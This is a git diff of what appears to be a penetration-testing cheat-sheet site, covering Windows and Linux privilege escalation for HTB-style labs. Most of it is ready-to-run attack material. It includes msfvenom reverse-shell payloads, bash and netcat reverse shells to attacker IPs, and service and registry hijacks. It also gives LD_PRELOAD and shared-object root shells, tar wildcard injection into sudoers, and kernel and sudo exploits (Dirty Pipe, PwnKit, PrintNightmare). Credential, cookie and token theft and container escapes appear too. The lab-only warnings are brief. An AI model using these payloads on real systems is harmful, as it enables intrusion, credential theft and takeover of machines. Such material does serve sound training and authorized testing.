Capcom.sys** (dead since Win10 1803): +```batch +reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys" +reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1 +EnableSeLoadDriverPrivilege.exe +ExploitCapcom.exe +``` + +--- + +## 3 · Privileged built-in groups + +**DnsAdmins → malicious DLL loaded by the DNS service (as SYSTEM):** +```bash +msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll +python3 -m http.server 7777 +``` +```batch +:: full path is mandatory +dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll +sc stop dns & sc start dns +net group "Domain Admins" /dom +:: cleanup: reg delete the ServerLevelPluginDll value before restarting +``` + +**Server Operators → hijack a service binPath:** +```batch +sc qc AppReadiness +sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" +:: Error 1053 may be expected; verify the command side effect. +sc start AppReadiness +net localgroup Administrators +``` + +**Event Log Readers → creds in 4688 process-creation events:** +```powershell +wevtutil qe Security /rd:true /f:text | Select-String "/user" +``` + +**Hyper-V Administrators** → `vmms.exe` restores `.vhdx` perms as SYSTEM (CVE-2018-0952 / CVE-2019-0841): `takeown` a SYSTEM-startable service binary (e.g. Mozilla Maintenance) → replace → `sc start`. + +--- + +## 4 · UAC bypass + +```batch +:: Am I a filtered admin? UAC state? +:: Compare High Mandatory Level with Medium Mandatory Level. +whoami /groups +REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA +REG QUERY HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin +``` +```powershell +[environment]::OSVersion.Version # build → pick the UACMe technique (14393 = 1607 → #54) +``` +DLL-hijack bypass (UACMe #54): drop `srrstr.dll` into user-writable `...\AppData\Local\Microsoft\WindowsApps\` (last in PATH), then trigger the auto-elevating `C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe`. Reference catalogue: **UACMe** (`fodhelper`, `eventvwr`, `computerdefaults`, etc.). + +--- + +## 5 · Weak service & registry permissions + +```batch +:: Enumerate weak service control permissions +SharpUp.exe audit +:: AccessChk: -c service, -w write, -k registry key +accesschk.exe /accepteula -uwcqv "Everyone" * +accesschk.exe /accepteula -quvcw <ServiceName> + +:: Lab proof for a weak service ACL — record and restore the original binPath +sc qc <ServiceName> +sc config <ServiceName> binpath= "cmd /c net localgroup administrators htb-student /add" +:: Error 1053 may be expected; verify the intended side effect. +sc stop <ServiceName> & sc start <ServiceName> + +:: Find writable service registry keys +accesschk.exe /accepteula "<user>" -kvuqsw hklm\System\CurrentControlSet\services +``` + +```powershell +# Unquoted auto-start service paths; verify write access to each path component +Get-CimInstance Win32_Service | + Where-Object { $_.StartMode -eq 'Auto' -and $_.PathName -match '\s' -and $_.PathName -notmatch '^"' } | + Select-Object Name, StartName, State, PathName + +# Weak registry ACL exploitation — record ImagePath before changing it +Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name ImagePath +Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\<Svc> -Name "ImagePath" -Value "C:\...\nc.exe -e cmd.exe 10.10.10.205 443" +``` + +> [!warning]+ Restore and verify +> Export the original service configuration first. After a lab proof, restore `binPath`/`ImagePath`, startup type, and service state; then confirm the executable path and ACLs match the baseline. + +PowerUp helpers: `Get-ModifiableServiceFile`, `Get-ServiceUnquoted`, `Get-ModifiableRegistryAutoRun`, `Install-ServiceBinary`. (CVE-2019-1322 UsoSvc.) + +--- + +## 6 · Kernel exploits & missing patches + +```batch +systeminfo > systeminfo.txt +``` + +```powershell +Get-HotFix | Sort-Object InstalledOn -Descending +``` + +```bash +# Run WES-NG from the attack host against the captured systeminfo output +python3 wes.py --update +python3 wes.py systeminfo.txt --impact 'Elevation of Privilege' +``` + +| CVE / Bulletin | Name | Tool | +|---|---|---| +| CVE-2021-36934 | HiveNightmare/SeriousSam | `HiveNightmare.exe` (needs a VSS snapshot) | +| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` | +| CVE-2020-0668 | Service Tracing file-move | `CVE-2020-0668.exe` (chain w/ DLL load) | +| MS16-032 | Secondary Logon | `Invoke-MS16-032` | +| MS10-092 | Task Scheduler | `ms10_092_schelevator` | +| MS17-010 / MS08-067 | EternalBlue / RPC | (legacy) | + +```powershell +# HiveNightmare — any user if BUILTIN\Users:(I)(RX) on SAM +.\HiveNightmare.exe +# → impacket-secretsdump -sam SAM-* -system SYSTEM-* -security SECURITY-* local + +# PrintNightmare +Import-Module .\CVE-2021-1675.ps1 +Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt" +``` + +--- + +## 7 · DLL hijacking & vulnerable third-party software + +```powershell +# Identify app versions without querying Win32_Product +Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*', + 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*' | + Where-Object DisplayName | + Select-Object DisplayName, DisplayVersion, InstallLocation +Get-Service | Where-Object DisplayName -Like 'Druva*' +Get-NetTCPConnection -State Listen | Where-Object LocalPort -eq <port> +``` +Discovery: ProcMon filter `Operation is Load Image` + `Result is NAME NOT FOUND`; static `dumpbin /imports`; PowerUp `Find-ProcessDLLHijack` / `Find-PathDLLHijack`. Then plant a DLL in a writable, earlier-searched dir (the app's own directory is searched first). **DLL proxying** preserves functionality (rename real → `library.o.dll`, forward exports). Loopback RPC services running as SYSTEM (e.g. Druva inSync on 6064) can be command-injected for a SYSTEM shell. + +--- + +## 8 · Credential hunting & pillaging + +```batch +:: Stored credentials, saved sessions and common plaintext locations +cmdkey /list +:: If an approved saved credential exists: runas /savecred /user:DOMAIN\bob "cmd" +findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml + +:: Registry autologon and PuTTY proxy settings +:: Review DefaultUserName and DefaultPassword values. +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" +reg query HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions\<session> + +:: Unattended-install and Sysprep answer files +dir /s /b C:\Windows\Panther\Unattend*.xml 2>nul +dir /s /b C:\Windows\System32\Sysprep\*.xml 2>nul + +:: Wi-Fi profiles +netsh wlan show profile <SSID> key=clear +``` + +```powershell +# PowerShell history and same-user DPAPI-protected CliXML +Get-Content (Get-PSReadLineOption).HistorySavePath +$credential = Import-Clixml -Path 'C:\scripts\pass.xml' +$credential.GetNetworkCredential().Password + +# Browsers / vaults / managers +.\SharpChrome.exe logins /unprotect +.\lazagne.exe all +Import-Module .\SessionGopher.ps1 +Invoke-SessionGopher -Target <host> +# KeePass: keepass2john ILFREIGHT.kdbx → hashcat -m 13400 +# mRemoteNG: %APPDATA%\mRemoteNG\confCons.xml → mremoteng_decrypt.py -s "<blob>" (default master 'mR3m') +``` +Cookie theft (bypasses MFA): `Invoke-SharpChromium -Command "cookies slack.com"` (Slack cookie name `d`). Share crawling: **Snaffler**. Mount disks: `guestmount -a disk.vmdk -i --ro /mnt` → `impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL`. + +--- + +## 9 · Attacking users, LOLBAS & misc + +```bash +# Force auth from a browsing user, crack NTLMv2 +sudo responder -wrf -v -I tun0 +hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt +``` +Bait files in a writable share: `.scf` (pre-2019) or `.lnk` with `TargetPath = \\<attacker>\@pwn.png` (Server 2019+). Use [LOLBAS](https://lolbas-project.github.io/) to verify the exact function and prerequisites for a native binary; one download example is `certutil.exe -urlcache -split -f http://10.10.14.3:8080/shell.bat shell.bat`. + +**AlwaysInstallElevated** (needs **both** HKCU + HKLM `= 0x1`): +```batch +reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated +reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated +``` +```bash +msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi +``` +```batch +msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart +``` + +**CVE-2019-1388** (patched Nov 2019): run `hhupd.exe` as admin → *Show publisher certificate* → click the **Issued by** hyperlink → browser opens as SYSTEM → View source → Save As → type `c:\windows\system32\cmd.exe` = SYSTEM shell. + +**Named pipes:** `pipelist.exe /accepteula` / `gci \\.\pipe\` → `accesschk.exe -w \pipe\<name> -v`; a writable SYSTEM-owned pipe + `SeImpersonate` = token theft. + +**Citrix/kiosk breakout:** type `\\127.0.0.1\c$\users\<user>` or `\\<attacker>\share` in a File-name dialog; right-click `.exe` → Open; shortcut Target → `cmd.exe`. + +--- + +## 10 · Scheduled tasks & autoruns + +Start with task identity, trigger, run level, executable, arguments, and working directory. A task is only exploitable when a low-privilege user can alter something a higher-privilege principal executes. + +```batch +:: Inventory tasks and export one task as XML for exact paths/arguments +schtasks /query /fo LIST /v +schtasks /query /tn "\Vendor\Updater" /xml + +:: Enumerate startup extensibility with Microsoft Sysinternals +autorunsc64.exe -accepteula -a * -m -s -h -t +``` + +```powershell +# Triage scheduled tasks without mixing CMD syntax into this block +Get-ScheduledTask | ForEach-Object { + $info = $_ | Get-ScheduledTaskInfo + [pscustomobject]@{ + Task = $_.TaskPath + $_.TaskName + Principal = $_.Principal.UserId + RunLevel = $_.Principal.RunLevel + Actions = ($_.Actions.Execute + " " + $_.Actions.Arguments).Trim() + NextRun = $info.NextRunTime + } +} | Format-Table -Wrap + +# Common per-user and machine autorun locations +Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, User, Location +Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue +Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run*" -ErrorAction SilentlyContinue +``` + +```batch +:: Check every directory in the action path, plus the final file +icacls "C:\Program Files\Vendor\Updater" +icacls "C:\Program Files\Vendor\Updater\update.exe" +accesschk64.exe -accepteula -qvw "C:\Program Files\Vendor\Updater\update.exe" +accesschk64.exe -accepteula -qvw "C:\Scripts" +``` + +> [!warning]+ Validate safely +> Record the original task XML, executable hash, owner, and ACLs. Prefer a reversible proof such as writing a timestamp to a lab-only file; do not replace production binaries. Restore the artifact and verify its hash and permissions afterward. + +--- + +## CVE quick index + +| CVE / Bulletin | Vector | Tool | +|---|---|---| +| CVE-2021-36934 | SAM readable (HiveNightmare) | `HiveNightmare.exe` | +| CVE-2021-1675 / 34527 | PrintNightmare | `Invoke-Nightmare` | +| CVE-2016-0099 (MS16-032) | Secondary Logon | `Invoke-MS16-032` | +| CVE-2010-3338 (MS10-092) | Task Scheduler | `ms10_092_schelevator` | +| CVE-2020-0668 | Service Tracing move | `CVE-2020-0668.exe` | +| CVE-2019-1388 | UAC cert dialog | `hhupd.exe` (manual) | +| CVE-2018-0952 / 2019-0841 | Hyper-V Admins VHD | service-binary swap | +| CVE-2019-1322 | UsoSvc weak perms | `sc config` | + +--- + +## Lessons Learned & gotchas + +1. **`whoami /priv` first, every time** — SeImpersonate/SeDebug/SeBackup are the shortest path to SYSTEM. +2. **A failed `sc start` (1053) is not a failed exploit** — the `binPath` command already ran; check the side effect. +3. **Match the potato to the build** — JuicyPotato is dead ≥1809; GodPotato is broadest, try it first. +4. **Two-step take-own** — `takeown` then `icacls /grant`; `cat` fails until the ACL grant runs. +5. **Restore what you change** — service `binPath`, registry `ImagePath`, `ServerLevelPluginDll`; leaving them is a backdoor and a broken service. +6. **DPAPI creds are user-bound** — Clixml, SharpChrome, Chrome cookies only decrypt as the originating user; re-run credential hunts after each escalation (new profiles become readable). +7. **Many "classics" are patched** — Capcom (1803), CVE-2019-1388 (Nov 2019), SCF NTLM capture (2019). Confirm the build/patch level before committing. + +## References + +1. [HTB Academy — Windows Privilege Escalation](https://academy.hackthebox.com/module/details/67) +2. [PayloadsAllTheThings — Windows PrivEsc](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) +3. [Microsoft — Autoruns and Autorunsc](https://learn.microsoft.com/en-us/sysinternals/downloads/autoruns) · [Microsoft — schtasks](https://learn.microsoft.com/en-us/windows/win32/taskschd/schtasks) +4. [PowerSploit/PowerUp](https://github.com/PowerShellMafia/PowerSploit) · [WES-NG](https://github.com/bitsadmin/wesng) · [UACMe](https://github.com/hfiref0x/UACME) +5. [LOLBAS](https://lolbas-project.github.io/) · [WADComs](https://wadcoms.github.io/) · [HackTricks — Windows Local Privilege Escalation](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation) +6. [GTFOBins — Linux/Unix companion](https://gtfobins.org/) diff --git a/src/content/sheets/privilege-escalation/linux-privesc-cpts.md b/src/content/sheets/privilege-escalation/linux-privesc-cpts.md @@ -1,474 +0,0 @@ ---- -title: "Linux Privilege Escalation (CPTS)" -description: "CPTS-focused Linux privilege escalation: enumeration, cron/PATH/wildcard abuse, SUID and capabilities, GTFOBins and container escapes." -category: privilege-escalation -tags: ["privilege-escalation", "linux"] -tools: ["Gitleaks", "TruffleHog"] -difficulty: advanced -updated: "2026-08-28" -source: "vault:Pentest Attack Flow/General Pentest Cheatsheets/03 - Linux Privilege Escalation - CPTS Cheat Sheet.md" ---- -# Linux Privilege Escalation — CPTS Cheat Sheet - -## Summary - -From a low-privilege shell to `root`. The loop is always the same: **enumerate broadly → identify the one vector → exploit it precisely.** Prefer the least-invasive path (SUID/capability/sudo misconfig) over a kernel exploit, which can panic the box. This card walks the module's vectors: initial situational awareness, cron/scheduled-task abuse, credential hunting, restricted-shell escape + env-var abuse, sudo & privileged-group abuse, Docker/Kubernetes escapes, kernel/SUID/SGID/capabilities, and the "remaining" library-hijack/NFS/tmux/logrotate vectors. - -> [!danger]+ HTB-Only Boundary -> -> 1. Authorized labs/engagements only. **Kernel exploits (esp. CVE-2022-25636) can corrupt the kernel / force a reboot** — get sign-off; prefer SUID/cap/sudo paths. -> 2. When weaponising a script a root job runs, **append, never overwrite, and keep a backup** so the legitimate task still completes. -> 3. Clean up droppers (`/tmp/sh`, fake `.so`/`.py`, rogue SUID binaries) — they're live local backdoors. - -> [!tip]+ Live command libraries -> - **[GTFOBins](https://gtfobins.org/)** — search a Linux/Unix binary, then select the function that matches the real context: `sudo`, SUID, capabilities, shell, file read/write or another permitted primitive. -> - **[WADComs](https://wadcoms.github.io/)** — command-focused Windows and Active Directory companion for later lateral-movement or cross-platform work. -> - **[LOLBAS](https://lolbas-project.github.io/)** — Windows-native binary, script and library companion. -> -> A listed binary is not automatically exploitable. Match the page's required permissions and invocation to `sudo -l`, SUID/capability state, file ACLs and installed version. - -```mermaid -%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% -flowchart LR - A["whoami / id / sudo -l\nuname -a"] --> B["Run LinPEAS / lse.sh\n+ pspy for timing"] - B --> C{"Vector?"} - C --> D["sudo/GTFOBins · groups\n(lxd/docker/disk)"] - C --> E["cron / writable script\n/ PATH / wildcard"] - C --> F["SUID-SGID / capability\n/ SO hijack"] - C --> G["kernel CVE (last resort)"] - D --> H["root"] - E --> H - F --> H - G --> H -``` - ---- - -## 1 · Initial enumeration - -```bash -# First five on any new shell -whoami; id; hostname; ip a; sudo -l - -# OS / kernel (feed to exploit-suggester) -cat /etc/os-release; uname -a; cat /proc/version -cat /etc/lsb-release; lscpu; cat /etc/shells - -# PATH / env / mounts / net -echo $PATH; env -lsblk; cat /etc/fstab; route; cat /etc/hosts; arp -a - -# Users, groups, readable hashes -cat /etc/passwd; grep "sh$" /etc/passwd -cat /etc/group; getent group sudo -cat /etc/passwd | head -n1 # a real hash here (not 'x') = crack it now - -# Homes, hidden files, temp, processes, history -ls -la /home/*/ -find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | grep <user> -ls -l /tmp /var/tmp /dev/shm -ps aux | grep root; w; lastlog; history -``` - -> [!info]+ Hash prefixes & GTFOBins candidate list -> `$1$`=MD5 · `$5$`=SHA-256 · `$6$`=SHA-512 · `$2a$`=BCrypt · `$argon2i$`=Argon2. -> ```bash -> find /usr/bin /usr/sbin /bin /sbin /usr/local/bin \ -> -maxdepth 1 -type f -executable -printf '%f\n' 2>/dev/null \ -> | sort -u | tee installed-binaries.txt -> ``` -> Search interesting names at [GTFOBins](https://gtfobins.org/), especially anything present in `sudo -l`, SUID/SGID results or `getcap -r /`. Scraping the website into a loop is brittle and loses the function-specific prerequisites shown on each entry. - -> [!tip]+ Automated enumeration -> -> **LinPEAS** (run first — kernel vs exploit-DB, SUID/SGID vs GTFOBins, caps, world-writable Python/lib paths, `RUNPATH`, `no_root_squash`, creds) · **linux-smart-enumeration** (`./lse.sh -l1`, second opinion) · **pspy / pspy64** (root cron/timing without root) · **linux-exploit-suggester** (feeds `uname -r`) · **Lynis** (`./lynis audit system`). Note active controls: AppArmor, SELinux, Fail2ban, ufw. - ---- - -## 2 · Cron & scheduled-task abuse - -```bash -# Enumerate -ls -la /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.d/ -crontab -l -find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # world-writable files - -# Confirm a root job live (UID=0 in output) -./pspy64 -pf -i 1000 -``` - -**PATH abuse** — hijack an unqualified command a root cron calls: -```bash -echo $PATH -PATH=.:${PATH}; export PATH -echo 'echo "PATH ABUSE!!"' > ls && chmod +x ls -``` - -**tar wildcard injection** (cron does `tar -zcf backup.tar.gz *` in a writable dir): -```bash -echo 'echo "htb-student ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > root.sh -echo "" > "--checkpoint-action=exec=sh root.sh" -echo "" > --checkpoint=1 -# after the job fires: -sudo -l && sudo su # (root) NOPASSWD: ALL -``` - -**Writable backup script → reverse shell** (append, keep a backup): -```bash -echo 'bash -i >& /dev/tcp/10.10.14.3/443 0>&1' >> /dmz-backups/backup.sh -nc -lnvp 443 -``` - -### systemd services and timers - -Cron is not the only root scheduler. A timer activates a service, and the useful write may be in the unit, an `EnvironmentFile=`, the `ExecStart=` script, or a parent directory. - -```bash -# Find the trigger, then resolve the service it activates. -systemctl list-timers --all -systemctl list-unit-files --type=timer --type=service -systemctl cat <name>.timer -systemctl cat <name>.service -``` - -```bash -# Pull the fields that decide whether the path is exploitable. -systemctl show <name>.service \ - -p User \ - -p Group \ - -p ExecStart \ - -p EnvironmentFiles \ - -p FragmentPath -``` - -```bash -# Check unit search paths and every component of the executed path. -systemd-path systemd-system-unit -find /etc/systemd/system /usr/local/lib/systemd/system \ - -type f -writable -ls 2>/dev/null -namei -l /path/from/ExecStart -``` - -> [!tip] Exploit condition -> You need a privileged unit plus a file or directory you can modify, or a permitted `sudo systemctl start/restart` action. Back up the file, preserve its legitimate behavior, record the original hash, and restore it after proving execution. - ---- - -## 3 · Credential & config hunting - -### Application configurations - -```bash -# Start with likely app roots instead of searching the whole filesystem. -find /var/www /opt /srv /home -type f \ - \( -name 'wp-config.php' -o -name '.env' -o -name 'configuration.php' \ - -o -name 'settings.php' -o -name 'web.config' \) \ - -readable -print 2>/dev/null -``` - -```bash -# Search only readable config-like files in high-value roots. -find /etc /opt /srv /var/www /home -type f \ - \( -name '*.conf' -o -name '*.config' -o -name '*.ini' \ - -o -name '*.yml' -o -name '*.yaml' -o -name '.env' \) \ - -readable -print0 2>/dev/null | - xargs -0 grep -nIiE 'pass(word)?|secret|token|api[_-]?key|connection' 2>/dev/null -``` - -### SSH and shell history - -```bash -# SSH material and lateral targets. -ls -la ~/.ssh -sed -n '1,120p' ~/.ssh/config ~/.ssh/known_hosts 2>/dev/null -``` - -```bash -# Current history, then common database/shell history files. -history -find /home /root -type f \ - \( -name '.*history' -o -name '*_history' -o -name '*_hist' \) \ - -readable -ls 2>/dev/null -``` - -Deeper secret mining across `.git`: **trufflehog**, **gitleaks**. - -### Process environments and open descriptors - -Long-running services sometimes receive secrets through environment variables or keep deleted configuration files open. Access to another process’s `/proc/<pid>` data is permission-controlled, so only inspect entries the current identity may read. - -```bash -ps eww -u "$USER" -find /proc/[0-9]*/environ -readable -type f 2>/dev/null -``` - -```bash -for env_file in /proc/[0-9]*/environ; do - [ -r "$env_file" ] || continue - strings "$env_file" -done | - grep -Ei 'pass(word)?|secret|token|api[_-]?key|database_url|aws_' -``` - -```bash -# Deleted-but-open files and interesting descriptors. -lsof -nP 2>/dev/null | grep -i deleted -find /proc/[0-9]*/fd -lname '*deleted*' -ls 2>/dev/null -``` - ---- - -## 4 · Restricted shell escape & env-var abuse - -Restricted shells: `rbash`/`rksh`/`rzsh`. Escape via injection, substitution, chaining (`;`/`|`), env-var modification, functions. -```bash -ls -l `pwd` # command substitution -sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh # GTFOBins escape -``` - -> [!bug]+ LD_PRELOAD (sudo `env_keep+=LD_PRELOAD`) -> `sudo -l` shows `env_keep+=LD_PRELOAD`. `root.c`: -> ```c -> #include <stdio.h> -> #include <sys/types.h> -> #include <stdlib.h> -> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } -> ``` -> ```bash -> gcc -fPIC -shared -o root.so root.c -nostartfiles -> sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart -> ``` -> Works even against absolute-path sudoers entries. - ---- - -## 5 · Sudo rights & privileged-group abuse - -```bash -sudo -l # what can I run as another user? -sudo -V | head -n1 # exact version for CVE matching -aa-status # check AppArmor before the tcpdump path -id # note groups: sudo / lxd / docker / disk / adm -``` - -**[GTFOBins](https://gtfobins.org/)** — for any binary in `sudo -l`, check the matching `sudo`, SUID, capability, shell or file-access function (e.g. `sudo find / -exec /bin/sh \; -quit`, `sudo vim -c ':!/bin/sh'`, `sudo less` → `!/bin/sh`, `awk 'BEGIN {system("/bin/sh")}'`). - -**tcpdump `-z postrotate`:** -```bash -# /tmp/.test: -rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.3 443 >/tmp/f -sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root -nc -lnvp 443 # "Permission denied" in output is misleading — payload still ran -``` - -**Sudo CVEs:** -```bash -# CVE-2021-3156 (Baron Samedit) — no sudoers entry needed; target index must match /etc/lsb-release -git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156 && make -./sudo-hax-me-a-sandwich # then ./sudo-hax-me-a-sandwich <index> - -# CVE-2019-14287 (UID -1 bypass) — needs one permitted command, sudo < 1.8.28 -sudo -u#-1 id - -# CVE-2021-4034 (PwnKit / pkexec) — no sudoers/group needed -git clone https://github.com/arthepsy/CVE-2021-4034.git && cd CVE-2021-4034 -gcc cve-2021-4034-poc.c -o poc && ./poc -``` - -**LXD/LXC group** (full escape): -```bash -lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine -lxc init alpine r00t -c security.privileged=true -lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true -lxc start r00t && lxc exec r00t /bin/sh -# inside: /mnt/root/root = host /root (shadow, ssh keys) -``` -**disk** group → `debugfs /dev/sda1` reads/writes the whole FS as root. **adm** → read all `/var/log`. - ---- - -## 6 · Docker escape - -```bash -# Bind-mounted host dir inside the container (e.g. /hostsystem) -cat /hostsystem/root/.ssh/id_rsa - -# Docker socket reachable from the container -/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app -/tmp/docker -H unix:///app/docker.sock exec -it <id> /bin/bash - -# 'docker' group on the host = root -docker run -v /root:/mnt -it ubuntu # or mount /etc for /etc/shadow - -# Writable /var/run/docker.sock (no group) — fastest host shell -docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash -``` -Enum/escape helper: **deepce**. - ---- - -## 7 · Kubernetes escape - -Ports: etcd 2379/2380 · API server 6443 · Kubelet API 10250 · read-only Kubelet 10255. -```bash -curl https://$IP:6443 -k # system:anonymous 403 = expected -curl https://$IP:10250/pods -k | jq . # Kubelet often allows anon - -# kubeletctl — enumerate, find RCE, exec -kubeletctl -i --server $IP pods -kubeletctl -i --server $IP scan rce -kubeletctl -i --server $IP exec "id" -p nginx -c nginx - -# Steal the service-account token + CA -kubeletctl -i --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee k8.token -kubeletctl --server $IP exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee ca.crt - -# What can this token do? then deploy a host-mounting pod -export token=$(cat k8.token) -kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 auth can-i --list -kubectl --token=$token --certificate-authority=ca.crt --server=https://$IP:6443 apply -f privesc.yaml -``` -`privesc.yaml` red flags to weaponise: `hostPath: path: /` + `hostNetwork: true`; then read `/root/root/.ssh/id_rsa` from the mounted host. Recon: **kube-hunter**; compliance: **kube-bench**. - ---- - -## 8 · Kernel exploits, SUID/SGID & capabilities - -```bash -# Generic workflow — compile ON the target -uname -a; cat /etc/lsb-release -gcc kernel_exploit.c -o kernel_exploit && ./kernel_exploit - -# Dirty Pipe — CVE-2022-0847 (kernels 5.8–5.17) -git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git -cd CVE-2022-0847-DirtyPipe-Exploits && bash compile.sh -./exploit-1 # rewrites /etc/passwd, pops root -./exploit-2 /usr/bin/sudo # hijacks a SUID binary → /tmp/sh (clean this up) -``` - -| Netfilter CVE | Kernels | Note | -|---|---|---| -| CVE-2021-22555 | 2.6–5.11 | heap OOB via setsockopt | -| CVE-2022-25636 | 5.4–5.6.10 | may corrupt kernel / reboot | -| CVE-2023-32233 | ≤6.3.1 | UAF in `nf_tables` anon sets | - -```bash -# SUID / SGID discovery -find / -perm -4000 2>/dev/null -find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID -find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SGID - -# Capabilities enumeration + cap_dac_override via vim -find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; -echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd # blanks root's password -``` -Caps that lead to root: `cap_setuid`, `cap_setgid`, `cap_sys_admin`, `cap_dac_override`. Also: **screen 4.5.0** SUID → writes `/etc/ld.so.preload` → `/tmp/rootshell`. - ---- - -## 9 · Remaining vectors - -**Shared-object hijack (RUNPATH):** -```bash -ldd payroll; readelf -d payroll | grep PATH # RUNPATH: [/development] (world-writable = vuln) -``` -```c -// src.c — reimplement the exact undefined symbol the binary calls (e.g. dbquery) -#include<stdio.h> -#include<stdlib.h> -#include<unistd.h> -void dbquery() { printf("Malicious library loaded\n"); setuid(0); system("/bin/sh -p"); } -``` -```bash -gcc src.c -fPIC -shared -o /development/libshared.so && ./payroll -``` - -**Python library hijacking** (three flavours): -```bash -# (a) writable module file — inject os.system('id') into the real function -ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py # world-writable? -sudo /usr/bin/python3 ./mem_status.py - -# (b) path priority — drop a fake module in a higher-priority world-writable dir -python3 -c 'import sys; print("\n".join(sys.path))' -# fake psutil.py: def virtual_memory(): os.system('id') - -# (c) sudo SETENV → PYTHONPATH -sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py -``` - -**Writable account and policy files** — a direct path that automated scripts can bury in noise: - -§§§bash -ls -l /etc/passwd /etc/shadow /etc/group /etc/sudoers -for account_file in /etc/passwd /etc/shadow /etc/group /etc/sudoers; do - [ -w "$account_file" ] && printf 'WRITABLE %s\n' "$account_file" -done -§§§ - -> [!warning] Preserve authentication state -> A writable account database proves a critical control failure. If exploitation is required, take a timestamped backup and use a reversible test account or authorized sudoers drop-in—never blank or replace the real root credential. - -**NFS `no_root_squash`** (from an attacker box with real root): -```bash -showmount -e $IP; cat /etc/exports # /tmp *(rw,no_root_squash) -# shell.c: int main(void){ setuid(0); setgid(0); system("/bin/bash"); } -gcc shell.c -o shell -sudo mount -t nfs $IP:/tmp /mnt && cp shell /mnt && chmod u+s /mnt/shell -# on target (low-priv): ./shell -``` - -**tmux session hijack** (member of the owner's group): -```bash -ps aux | grep tmux # root ... tmux -S /shareds new -s debugsess -tmux -S /shareds # attaches to root's session -``` - -**logrotten** (writable log + logrotate 3.8.6/3.11.0/3.15.0/3.18.0): -```bash -git clone https://github.com/whotwagner/logrotten.git && cd logrotten && gcc logrotten.c -o logrotten -echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload -nc -nlvp 9001 & ./logrotten -p ./payload /tmp/tmp.log -``` - ---- - -## CVE quick index - -| CVE | Component | Prereq | Tool | -|---|---|---|---| -| CVE-2021-4034 (PwnKit) | polkit `pkexec` | none | `arthepsy/CVE-2021-4034` | -| CVE-2021-3156 (Baron Samedit) | sudo ≤1.9.5p2 | none | `blasty/CVE-2021-3156` | -| CVE-2019-14287 | sudo <1.8.28 | 1 sudoers entry | `sudo -u#-1` | -| CVE-2022-0847 (Dirty Pipe) | kernel 5.8–5.17 | none | DirtyPipe-Exploits | -| CVE-2021-22555 | kernel 2.6–5.11 | none | google/security-research PoC | -| CVE-2016-5195 (Dirty COW) | kernel <4.8 | none | dirtycow PoC | - ---- - -## Lessons Learned & gotchas - -1. **Enumerate before you exploit.** LinPEAS + `sudo -l` + `find SUID` + 